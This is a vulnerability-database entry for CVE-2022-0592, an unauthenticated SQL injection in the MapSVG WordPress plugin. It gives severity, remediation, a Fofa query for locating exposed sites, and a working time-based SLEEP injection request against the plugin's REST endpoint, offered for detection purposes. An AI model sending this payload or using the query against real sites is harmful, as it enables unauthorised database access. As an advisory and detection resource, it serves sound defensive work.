🔙 목록으로 돌아가기

CVE-2022-0592: MapSVG < 6.2.20 - Unauthenticated SQLi

TitleMapSVG < 6.2.20 - Unauthenticated SQLi
AuthorDhiyaneshDK
SeverityCritical
ImpactUnauthenticated attackers can execute SQL injection via REST API endpoint to extract database contents or execute arbitrary commands, potentially compromising the entire WordPress database.
RemediationUpgrade to MapSVG version 6.2.20 or later.
CVSS Score9.8
EPSS Score0.67367
CVE IDCVE-2022-0592
CWE IDCWE-89
Fofa Querybody="/wp-content/plugins/mapsvg/"
Tags wpscan cve cve2022 mapsvg wordpress wp wp-plugin sqli time-based-sqli vkev vuln

🔍 Vulnerability Description

The MapSVG WordPress plugin before 6.2.20 does not validate and escape a parameter via a REST endpoint before using it in a SQL statement, leading to a SQL Injection exploitable by unauthenticated users.

🌐 HTTP Request

GET /wp-json/mapsvg/v1/maps/2?id=1%27%20AND%20(SELECT%2042%20FROM%20(SELECT(SLEEP(6)))b)--+ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0592.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0592.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A